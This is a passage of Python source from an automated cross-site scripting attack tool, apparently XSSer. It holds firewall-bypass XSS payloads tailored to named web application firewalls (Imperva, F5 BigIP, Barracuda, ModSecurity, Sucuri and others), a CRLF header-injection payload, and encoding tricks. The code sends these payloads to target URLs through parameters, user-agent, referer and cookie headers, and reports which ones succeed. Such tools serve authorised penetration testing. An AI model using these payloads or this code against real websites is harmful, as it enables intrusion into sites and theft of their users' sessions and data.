  620. if options.phpids065:
  621. payload_string = 32*payload_string + payload_string
  622. # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
  623. if options.phpids070:
  624. payload_string = '<svg+onload=+"'+payload_string+'">'
  625. # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
  626. if options.imperva:
  627. payload_string = '<img src=x onerror="'+payload_string+'">'
  628. # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
  629. if options.webknight:
  630. payload_string = '<details ontoggle='+payload_string+'>'
  631. # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
  632. if options.f5bigip:
  633. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  634. # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
  635. if options.barracuda:
  636. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  637. # Apache / modsec [ALL] payload: special 18/02/2016
  638. if options.modsec:
  639. payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
  640. # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  641. if options.quickdefense:
  642. payload_string = '<details ontoggle="'+payload_string+'">'
  643. # SucuriWAF [ALL] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  644. if options.sucuri:
  645. payload_string = '<a+id="a"href=javascript%26colon;alert%26lpar;'+payload_string+'%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Y</a>'
  646. # Firefox 12 (and below) # 09/2019
  647. if options.firefox:
  648. payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
  649. # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
  650. if options.chrome:
  651. payload_string = "<script>/*///*/"+payload_string+"</script>"
  652. # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
  653. if options.iexplorer:
  654. payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
  655. # Opera 10.6 (but also IE6) # 09/2019
  656. if options.opera:
  657. payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
  658. # Substitute the attacking hash
  659. if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
  660. payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
  661. payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
  662. hashed_payload = payload_string
  663. # Imperva
  664. if options.imperva:
  665. hashed_payload = urllib.parse.urlencode({'':hashed_payload})
  666. hashed_payload = urllib.parse.urlencode({'':hashed_payload}) #DoubleURL encoding
  667. hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
  668. hashed_payload = str(hashed_payload) # + Unicode
  669. # Quick Defense
  670. if options.quickdefense:
  671. hashed_payload = str(hashed_payload) # + Unicode
  672. # apply user final attack url payload
  673. if user_attack_payload:
  674. hashed_vector_url = self.encoding_permutations(user_attack_payload)
  675. else:
  676. hashed_vector_url = self.encoding_permutations(hashed_payload)
  677. # replace special payload string also for extra attacks
  678. if self.extra_hashed_injections:
  679. hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
  680. for k, v in self.extra_hashed_injections.items():
  681. if v[1] in hashed_payload:
  682. self.extra_hashed_vector_url[k] = v[0], hashed_payload
  683. self.extra_hashed_injections = self.extra_hashed_vector_url
  684. if not options.getdata: # using GET as a single input (-u)
  685. target_url = url
  686. else:
  687. if not url.endswith("/") and not options.getdata.startswith("/"):
  688. url = url + "/"
  689. target_url = url + options.getdata
  690. p_uri = urlparse(target_url)
  691. uri = p_uri.netloc
  692. path = p_uri.path
  693. if not uri.endswith('/') and not path.startswith('/'):
  694. uri = uri + "/"
  695. if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
  696. if not "XSS" in target_url:
  697. if not target_url.endswith("/"):
  698. target_url = target_url + "/XSS"
  699. else:
  700. target_url = target_url + "XSS"
  701. target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
  702. if self.options.script:
  703. if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
  704. self.not_keyword_exit()
  705. if not target_params and not options.postdata:
  706. if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
  707. if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
  708. self.not_keyword_exit()
  709. else: # keyword found at target url (ex: https://target.com/XSS)
  710. if 'XSS' in target_url:
  711. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  712. elif 'X1S' in target_url:
  713. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  714. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  715. if "[B64]" in hashed_payload: # [DCP Injection]
  716. dcp_payload = hashed_payload.split("[B64]")[1]
  717. dcp_preload = hashed_payload.split("[B64]")[0]
  718. dcp_payload = b64encode(dcp_payload)
  719. hashed_payload = dcp_preload + dcp_payload
  720. self.hashed_injections[url_orig_hash] = target_url
  721. if user_attack_payload:
  722. pass
  723. else:
  724. hashed_vector_url = self.encoding_permutations(hashed_payload)
  725. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  726. target_url_params = urllib.parse.urlencode(target_params)
  727. if not uri.endswith('/') and not path.startswith('/'):
  728. uri = uri + "/"
  729. dest_url = p_uri.scheme + "://" + uri + path
  730. if not "XSS" in dest_url:
  731. if not dest_url.endswith("/"):
  732. dest_url = dest_url + "/" + hashed_vector_url
  733. else:
  734. dest_url = dest_url + hashed_vector_url
  735. else:
  736. if 'XSS' in dest_url:
  737. dest_url = dest_url.replace('XSS', hashed_vector_url)
  738. if 'X1S' in dest_url:
  739. dest_url = dest_url.replace('X1S', hashed_vector_url)
  740. else:
  741. if 'XSS' in target_url:
  742. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  743. elif 'X1S' in target_url:
  744. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  745. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  746. if "[B64]" in hashed_payload: # [DCP Injection]
  747. dcp_payload = hashed_payload.split("[B64]")[1]
  748. dcp_preload = hashed_payload.split("[B64]")[0]
  749. dcp_payload = b64encode(dcp_payload)
  750. hashed_payload = dcp_preload + dcp_payload
  751. self.hashed_injections[url_orig_hash] = target_url
  752. if user_attack_payload:
  753. pass
  754. else:
  755. hashed_vector_url = self.encoding_permutations(hashed_payload)
  756. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  757. target_url_params = urllib.parse.urlencode(target_params)
  758. if not uri.endswith('/') and not path.startswith('/'):
  759. uri = uri + "/"
  760. dest_url = p_uri.scheme + "://" + uri + path
  761. if 'XSS' in dest_url:
  762. dest_url = dest_url.replace('XSS', hashed_vector_url)
  763. if 'X1S' in dest_url:
  764. dest_url = dest_url.replace('X1S', hashed_vector_url)
  765. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  766. else:
  767. if not options.postdata:
  768. r = 0
  769. for key, value in target_params.items(): # parse params searching for keywords
  770. for v in value:
  771. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  772. if v == 'XSS':
  773. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  774. elif v == 'X1S':
  775. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  776. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  777. if "[B64]" in hashed_payload: # [DCP Injection]
  778. dcp_payload = hashed_payload.split("[B64]")[1]
  779. dcp_preload = hashed_payload.split("[B64]")[0]
  780. dcp_payload = b64encode(dcp_payload)
  781. hashed_payload = dcp_preload + dcp_payload
  782. self.hashed_injections[url_orig_hash] = key
  783. if user_attack_payload:
  784. pass
  785. else:
  786. hashed_vector_url = self.encoding_permutations(hashed_payload)
  787. target_params[key] = hashed_vector_url
  788. r = r + 1
  789. else:
  790. if self.options.xsa or self.options.xsr or self.options.coo:
  791. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  792. self.hashed_injections[url_orig_hash] = key
  793. target_params[key] = v
  794. r = r + 1
  795. else:
  796. target_params[key] = v
  797. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  798. self.not_keyword_exit()
  799. payload_url = query_string.strip() + hashed_vector_url
  800. target_url_params = urllib.parse.urlencode(target_params)
  801. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  802. else: # using POST provided by parameter (-p)
  803. target_params = parse_qs(query_string, keep_blank_values=True)
  804. r = 0
  805. for key, value in target_params.items(): # parse params searching for keywords
  806. for v in value:
  807. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  808. if v == 'XSS':
  809. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  810. elif v == 'X1S':
  811. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  812. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  813. if "[B64]" in hashed_payload: # [DCP Injection]
  814. dcp_payload = hashed_payload.split("[B64]")[1]
  815. dcp_preload = hashed_payload.split("[B64]")[0]
  816. dcp_payload = b64encode(dcp_payload)
  817. hashed_payload = dcp_preload + dcp_payload
  818. self.hashed_injections[url_orig_hash] = key
  819. if user_attack_payload:
  820. pass
  821. else:
  822. hashed_vector_url = self.encoding_permutations(hashed_payload)
  823. target_params[key] = hashed_vector_url
  824. r = r + 1
  825. else:
  826. if self.options.xsa or self.options.xsr or self.options.coo:
  827. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  828. self.hashed_injections[url_orig_hash] = key
  829. target_params[key] = v
  830. r = r + 1
  831. else:
  832. target_params[key] = v
  833. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  834. self.not_keyword_exit()
  835. target_url_params = urllib.parse.urlencode(target_params)
  836. dest_url = target_url_params
  837. self._ongoing_attacks['url'] = url_orig_hash
  838. return dest_url, agent, referer, cookie
  839. def attack_url_payload(self, url, payload, query_string):
  840. if not self.pool:
  841. pool = self.mothership.pool
  842. else:
  843. pool = self.pool
  844. c = Curl()
  845. if self.options.getdata or not self.options.postdata:
  846. dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
  847. def _cb(request, result):
  848. self.finish_attack_url_payload(c, request, result, payload,
  849. query_string, url, dest_url)
  850. _error_cb = self.error_attack_url_payload
  851. def _error_cb(request, error):
  852. self.error_attack_url_payload(c, url, request, error)
  853. c.agent = agent
  854. c.referer = referer
  855. c.cookie = cookie
  856. if " " in dest_url: # parse blank spaces
  857. dest_url = dest_url.replace(" ", "+")
  858. pool.addRequest(c.get, [[dest_url]], _cb, _error_cb)
  859. self._ongoing_requests += 1
  860. if self.options.postdata:
  861. dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
  862. def _cb(request, result):
  863. self.finish_attack_url_payload(c, request, result, payload,
  864. query_string, url, dest_url)
  865. _error_cb = self.error_attack_url_payload
  866. def _error_cb(request, error):
  867. self.error_attack_url_payload(c, url, request, error)
  868. dest_url = dest_url.strip().replace("/", "", 1)
  869. c.agent = agent
  870. c.referer = referer
  871. c.cookie = cookie
  872. pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
  873. self._ongoing_requests += 1
  874. def error_attack_url_payload(self, c, url, request, error):
  875. self._ongoing_requests -= 1
  876. for reporter in self._reporters:
  877. reporter.mosquito_crashed(url, str(error[0]))
  878. dest_url = request.args[0]
  879. self.report("Failed attempt (URL Malformed!?): " + url + "\n")
  880. self.urlmalformed = True
  881. if self.urlmalformed == True and self.urlspoll[0] == url:
  882. self.land()
  883. self.report(str(error[0]))
  884. if self.options.verbose:
  885. traceback.print_tb(error[2])
  886. c.close()
  887. del c
  888. return
  889. def finish_attack_url_payload(self, c, request, result, payload,
  890. query_string, url, dest_url):
  891. self.round_complete = self.round_complete + 1
  892. self.report("="*75)
  893. self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
  894. self.report("="*75)
  895. self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
  896. self._ongoing_requests -= 1
  897. # adding constant head check number flag
  898. if self.options.isalive:
  899. self.flag_isalive_num = int(self.options.isalive)
  900. if not self.options.isalive:
  901. pass
  902. elif self.options.isalive and not self.options.nohead:
  903. self.errors_isalive = self.errors_isalive + 1
  904. if self.errors_isalive > self.options.isalive:
  905. pass
  906. else:
  907. self.report("---------------------")
  908. self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
  909. if self.next_isalive == True:
  910. hc = Curl()
  911. self.next_isalive = False
  912. try:
  913. urls = hc.do_head_check([url])
  914. except:
  915. print("[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  916. self.errors_isalive = 0
  917. return
  918. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  919. print("HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n")
  920. print("- Your target still Alive: " + "(" + url + ")")
  921. print("- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n")
  922. print(" - your injections are failing: normal :-)")
  923. print(" - maybe exists some IPS/NIDS/... systems blocking your requests!\n")
  924. else:
  925. if str(hc.info()["http-code"]) == "0":
  926. print("\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  927. else:
  928. print("HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n")
  929. print("- Your target " + "(" + url + ")" + " looks that is NOT alive")
  930. print("- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n")
  931. self.errors_isalive = 0
  932. else:
  933. if str(self.errors_isalive) >= str(self.options.isalive):
  934. self.report("---------------------")
  935. self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
  936. self.next_isalive = True
  937. self.options.isalive = self.flag_isalive_num
  938. else:
  939. if self.options.isalive and self.options.nohead:
  940. self.report("---------------------")
  941. self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
  942. self.report("---------------------")
  943. # check results an alternative url, choosing method and parameters, or not
  944. if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
  945. self.options.altm = "GET"
  946. if self.options.altm == "post":
  947. self.options.altm = "POST"
  948. if self.options.alt == None:
  949. pass
  950. else:
  951. self.report("="*45)
  952. self.report("[+] Checking Response Options:", "\n")
  953. self.report("[+] Url:", self.options.alt)
  954. self.report("[-] Method:", self.options.altm)
  955. if self.options.ald:
  956. self.report("[-] Parameter(s):", self.options.ald, "\n")
  957. else:
  958. self.report("[-] Parameter(s):", query_string, "\n")
  959. if c.info()["http-code"] in ["200", "302", "301"]:
  960. if self.options.statistics:
  961. self.success_connection = self.success_connection + 1
  962. self._report_attack_success(c, dest_url, payload,
  963. query_string, url)
  964. else:
  965. self._report_attack_failure(c, dest_url, payload,
  966. query_string, url)
  967. # checking response results
  968. if self.options.alt == None:
  969. pass
  970. else:
  971. self.report("="*45)
  972. self.report("[+] Checking Response Results:", "\n")
  973. self.report("Searching using", self.options.altm, "for:", orig_hash, "on alternative url")
  974. if 'PAYLOAD' in payload['payload']:
  975. user_attack_payload = payload['payload'].replace('PAYLOAD', orig_hash)
  976. if self.options.ald:
  977. query_string = self.options.ald
  978. if "VECTOR" in self.options.alt:
  979. dest_url = self.options.alt
  980. else:
  981. if not dest_url.endswith("/"):
  982. dest_url = dest_url + "/"
  983. if self.options.altm == 'POST':
  984. dest_url = "" + query_string + user_attack_payload
  985. dest_url = dest_url.strip().replace("/", "", 1)
  986. data = c.post(url, dest_url)
  987. else:
  988. dest_url = self.options.alt + query_string + user_attack_payload
  989. c.get(dest_url)
  990. # perform check response injection
  991. if c.info()["http-code"] in ["200", "302", "301"]:
  992. if self.options.statistics:
  993. self.success_connection = self.success_connection + 1
  994. self._report_attack_success(c, dest_url, payload,
  995. query_string, url)
  996. else:
  997. self._report_attack_failure(c, dest_url, payload,
  998. query_string, url)
  999. c.close()
  1000. del c
  1001. def encoding_permutations(self, enpayload_url):
  1002. """
  1003. perform encoding permutations on the url and query_string.
  1004. """
  1005. options = self.options
  1006. if options.Cem:
  1007. enc_perm = options.Cem.split(",")
  1008. for _enc in enc_perm:
  1009. enpayload_url = self.encmap[_enc](enpayload_url)
  1010. else:
  1011. for enctype in list(self.encmap.keys()):
  1012. if getattr(options, enctype):
  1013. enpayload_url = self.encmap[enctype](enpayload_url)
  1014. return enpayload_url
  1015. def _report_attack_success(self, curl_handle, dest_url, payload,\
  1016. query_string, orig_url):
  1017. """
  1018. report connection success of an attack
  1019. """
  1020. if not orig_url in self.successful_urls:
  1021. self.successful_urls.append(orig_url)
  1022. options = self.options
  1023. current_hashes = [] # to check for ongoing hashes
  1024. if payload['browser'] == "[Heuristic test]":
  1025. for key, value in self.hashed_injections.items():
  1026. if str(key) in dest_url:
  1027. if key not in current_hashes:
  1028. self.final_hashes[key] = value
  1029. current_hashes.append(key)
  1030. elif self.options.hash:
  1031. for key, value in self.hashed_injections.items():
  1032. self.final_hashes[key] = value
  1033. current_hashes.append(key)
  1034. else:
  1035. self.report("-"*45)
  1036. self.report("\n[!] Hashing: \n")
  1037. for key, value in self.hashed_injections.items():
  1038. if str(key) in dest_url:
  1039. if key not in current_hashes:
  1040. self.report(" [ " +key+" ] : [" , value + " ]")
  1041. self.final_hashes[key] = value
  1042. current_hashes.append(key)
  1043. else:
  1044. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1045. b64_string = payload["payload"].split("[B64]")
  1046. b64_string = b64_string[1]
  1047. b64_string = b64_string.replace('PAYLOAD', key)
  1048. b64_string = b64encode(b64_string)
  1049. b64_string = urllib.parse.urlencode({'':b64_string})
  1050. if b64_string.startswith("="):
  1051. b64_string = b64_string.replace("=", "")
  1052. if str(b64_string) in str(dest_url):
  1053. if key not in current_hashes:
  1054. self.report(" [ " +key+" ] : [" , value + " ]")
  1055. self.final_hashes[key] = value
  1056. current_hashes.append(key)
  1057. else: # when using encoders (Str, Hex, Dec...)
  1058. payload_string = payload["payload"].replace("PAYLOAD", key)
  1059. hashed_payload = self.encoding_permutations(payload_string)
  1060. if self.options.Cem:
  1061. enc_perm = options.Cem.split(",")
  1062. for e in enc_perm:
  1063. hashed_payload = self.encoding_permutations(payload_string)
  1064. if e == "Str":
  1065. hashed_payload = hashed_payload.replace(",", "%2C")
  1066. if e == "Mix":
  1067. hashed_payload=urllib.parse.quote(hashed_payload)
  1068. if e == "Dec":
  1069. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1070. if e == "Hex":
  1071. hashed_payload = hashed_payload.replace("%", "%25")
  1072. if e == "Hes":
  1073. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1074. hashed_payload = hashed_payload.replace(";", "%3B")
  1075. else:
  1076. if self.options.Str:
  1077. hashed_payload = hashed_payload.replace(",", "%2C")
  1078. if self.options.Mix:
  1079. hashed_payload=urllib.parse.quote(hashed_payload)
  1080. if self.options.Dec:
  1081. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1082. if self.options.Hex:
  1083. hashed_payload = hashed_payload.replace("%", "%25")
  1084. if self.options.Hes:
  1085. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1086. hashed_payload = hashed_payload.replace(";", "%3B")
  1087. if str(hashed_payload) in str(dest_url):
  1088. if key not in current_hashes:
  1089. self.report(" [ " +key+" ] : [" , value + " ]")
  1090. self.final_hashes[key] = value
  1091. if self.extra_hashed_injections:
  1092. for k, v in self.extra_hashed_injections.items():
  1093. payload_url = str(v[1])
  1094. if payload_url == payload["payload"]:
  1095. if k not in current_hashes:
  1096. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1097. self.final_hashes[k] = v[0]
  1098. current_hashes.append(k)
  1099. self.report("\n"+"-"*45+"\n")
  1100. if payload['browser'] == "[Heuristic test]":
  1101. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1102. else:
  1103. if self.extra_hashed_injections:
  1104. extra_attacks=[]
  1105. if options.xsa:
  1106. extra_attacks.append("XSA")
  1107. if options.xsr:
  1108. extra_attacks.append("XSR")
  1109. if options.coo:
  1110. extra_attacks.append("COO")
  1111. if extra_attacks:
  1112. extra_attacks = "+ "+ str(extra_attacks)
  1113. if options.postdata:
  1114. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1115. else:
  1116. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1117. else:
  1118. if options.postdata:
  1119. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1120. else:
  1121. self.report("[*] Trying: \n\n" + dest_url.strip() + "\n")
  1122. if not self.options.hash and not self.options.script:
  1123. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1124. pass
  1125. else:
  1126. self.report("-"*45)
  1127. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1128. pass
  1129. else:
  1130. if not "XSS" in dest_url or not "X1S" in dest_url:
  1131. if self.options.xsa or self.options.xsr or self.options.coo:
  1132. pass
  1133. else:
  1134. self.report("-"*45)
  1135. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1136. if not self.options.verbose:
  1137. self.report("-"*45 + "\n")
  1138. else:
  1139. self.report("-"*45)
  1140. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1141. if not self.options.verbose:
  1142. self.report("-"*45 + "\n")
  1143. # statistics injections counters
  1144. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1145. self.check_positives = self.check_positives + 1
  1146. elif payload['browser']=="[Data Control Protocol Injection]":
  1147. self.dcp_injection = self.dcp_injection + 1
  1148. elif payload['browser']=="[Document Object Model Injection]":
  1149. self.dom_injection = self.dom_injection + 1
  1150. elif payload['browser']=="[Induced Injection]":
  1151. self.httpsr_injection = self.httpsr_injection + 1
  1152. elif payload['browser']=="[manual_injection]":
  1153. self.manual_injection = self.manual_injection + 1
  1154. else:
  1155. self.auto_injection = self.auto_injection +1
  1156. if not self.hashed_injections:
  1157. for k, v in self.extra_hashed_injections.items():
  1158. if k in current_hashes:
  1159. if v[0] == "XSA":
  1160. agent = v[1]
  1161. agent = agent.replace("PAYLOAD", k)
  1162. Curl.agent = agent
  1163. if v[0] == "XSR":
  1164. referer = v[1]
  1165. referer = referer.replace("PAYLOAD", k)
  1166. Curl.referer = referer
  1167. if v[0] == "COO":
  1168. cookie = v[1]
  1169. cookie = cookie.replace("PAYLOAD", k)
  1170. Curl.cookie = cookie
  1171. else:
  1172. for key, value in self.hashed_injections.items():
  1173. for k, v in self.extra_hashed_injections.items():
  1174. payload_url = v[1]
  1175. payload_url = payload_url.replace("PAYLOAD",key)
  1176. payload_url = payload_url.replace(" ", "+") # black magic!
  1177. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1178. if payload_url in final_dest_url:
  1179. if v[0] == "XSA":
  1180. agent = v[1]
  1181. agent = agent.replace("PAYLOAD", k)
  1182. Curl.agent = agent
  1183. if v[0] == "XSR":
  1184. referer = v[1]
  1185. referer = referer.replace("PAYLOAD", k)
  1186. Curl.referer = referer
  1187. if v[0] == "COO":
  1188. cookie = v[1]
  1189. cookie = cookie.replace("PAYLOAD", k)
  1190. Curl.cookie = cookie
  1191. else:
  1192. if k in current_hashes:
  1193. if v[0] == "XSA":
  1194. agent = v[1]
  1195. agent = agent.replace("PAYLOAD", k)
  1196. Curl.agent = agent
  1197. if v[0] == "XSR":
  1198. referer = v[1]
  1199. referer = referer.replace("PAYLOAD", k)
  1200. Curl.referer = referer
  1201. if v[0] == "COO":
  1202. cookie = v[1]
  1203. cookie = cookie.replace("PAYLOAD", k)
  1204. Curl.cookie = cookie
  1205. if options.verbose:
  1206. self.report("-"*45)
  1207. self.report("\n[+] HTTP Headers Verbose:\n")
  1208. self.report(" [Client Request]")
  1209. Curl.print_options()
  1210. self.report(" [Server Reply]\n")
  1211. self.report(curl_handle.info())
  1212. self.report("="*45)
  1213. self.report("[*] Injection(s) Results:")
  1214. self.report("="*45 + "\n")
  1215. if payload['browser']=="[Heuristic test]":
  1216. for key, value in self.final_hashes.items():
  1217. if str(key) in dest_url:
  1218. heuristic_string = key
  1219. heuristic_param = str(payload['payload']).strip('XSS')
  1220. # checking heuristic responses
  1221. if heuristic_string in curl_handle.body():
  1222. # ascii
  1223. if heuristic_param == "\\":
  1224. self.heuris_backslash_found = self.heuris_backslash_found + 1
  1225. # / same as ASCII and Unicode
  1226. elif heuristic_param == "/":
  1227. self.heuris_slash_found = self.heuris_slash_found + 1
  1228. self.heuris_une_slash_found = self.heuris_une_slash_found + 1
  1229. elif heuristic_param == ">":
  1230. self.heuris_mayor_found = self.heuris_mayor_found + 1
  1231. elif heuristic_param == "<":
  1232. self.heuris_minor_found = self.heuris_minor_found + 1
  1233. elif heuristic_param == ";":
  1234. self.heuris_semicolon_found = self.heuris_semicolon_found + 1
  1235. elif heuristic_param == "'":
  1236. self.heuris_colon_found = self.heuris_colon_found + 1
  1237. elif heuristic_param == '"':
  1238. self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
  1239. elif heuristic_param == "=":
  1240. self.heuris_equal_found = self.heuris_equal_found + 1
  1241. # une
  1242. elif heuristic_param == "%5C":
  1243. self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
  1244. elif heuristic_param == "%3E":
  1245. self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
  1246. elif heuristic_param == "%3C":
  1247. self.heuris_une_minor_found = self.heuris_une_minor_found + 1
  1248. elif heuristic_param == "%3B":
  1249. self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
  1250. elif heuristic_param == "%27":
  1251. self.heuris_une_colon_found = self.heuris_une_colon_found + 1
  1252. elif heuristic_param == "%22":
  1253. self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
  1254. elif heuristic_param == "%3D":
  1255. self.heuris_une_equal_found = self.heuris_une_equal_found + 1
  1256. # dec
  1257. elif heuristic_param == "&#92":
  1258. self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
  1259. elif heuristic_param == "&#47":
  1260. self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
  1261. elif heuristic_param == "&#62":
  1262. self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
  1263. elif heuristic_param == "&#60":
  1264. self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
  1265. elif heuristic_param == "&#59":
  1266. self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
  1267. elif heuristic_param == "&#39":
  1268. self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
  1269. elif heuristic_param == "&#34":
  1270. self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
  1271. elif heuristic_param == "&#61":
  1272. self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
  1273. self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
  1274. else:
  1275. if heuristic_param == "\\":
  1276. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1277. elif heuristic_param == "/":
  1278. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1279. elif heuristic_param == ">":
  1280. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1281. elif heuristic_param == "<":
  1282. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1283. elif heuristic_param == ";":
  1284. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1285. elif heuristic_param == "'":
  1286. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1287. elif heuristic_param == '"':
  1288. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1289. elif heuristic_param == "=":
  1290. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1291. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1292. elif self.options.hash:
  1293. for key, value in self.final_hashes.items():
  1294. if str(key) in dest_url:
  1295. if key in curl_handle.body():
  1296. self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
  1297. else:
  1298. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1299. else:
  1300. for key, value in self.final_hashes.items():
  1301. if key in current_hashes:
  1302. if "XSA" in value:
  1303. method = "XSA"
  1304. hashing = key
  1305. elif "XSR" in value:
  1306. method = "XSR"
  1307. hashing = key
  1308. elif "COO" in value:
  1309. method = "COO"
  1310. hashing = key
  1311. else:
  1312. method = value
  1313. hashing = key
  1314. if not hashing:
  1315. pass
  1316. else:
  1317. if hashing not in dest_url:
  1318. if key in current_hashes:
  1319. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1320. b64_string = payload["payload"].split("[B64]")
  1321. b64_string = b64_string[1]
  1322. b64_string = b64_string.replace('PAYLOAD', key)
  1323. b64_string = b64encode(b64_string)
  1324. b64_string = urllib.parse.urlencode({'':b64_string})
  1325. if b64_string.startswith("="):
  1326. b64_string = b64_string.replace("=", "")
  1327. if str(b64_string) in str(dest_url):
  1328. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1329. else:
